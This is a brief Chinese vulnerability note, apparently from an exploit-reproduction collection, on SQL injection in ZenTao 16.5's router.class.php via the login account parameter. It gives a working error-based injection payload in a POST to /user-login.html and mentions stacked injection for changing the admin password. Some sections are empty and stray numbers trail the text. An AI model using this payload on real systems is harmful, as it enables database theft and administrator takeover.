# 禅道 16.5 router.class.php SQL注入漏洞
# 漏洞描述
禅道 16.5 router.class.php 文件存在SQL注入漏洞，攻击者通过漏洞可以获取数据库敏感信息，危害服务器安全
# 漏洞影响
# 网络测绘
# 漏洞复现
登录页面
16.5 到 16.5.1 版本更新了 framework/base/router.class.php 文件
account参数使用了quote方法进行过滤SQL语句
可以看到这个方法主要是对字段加转义，所以可以推断 16.5 版本中存在SQL注入, 跟踪调试测试SQL注入
验证POC如下, 其中同样存在堆叠注入，通过SQL语句可修改管理员密码等
POST /user-login.html
account=admin%27+and+%28select+extractvalue%281%2Cconcat%280x7e%2C%28select+user%28%29%29%2C0x7e%29%29%29%23
1
2
3
2
3
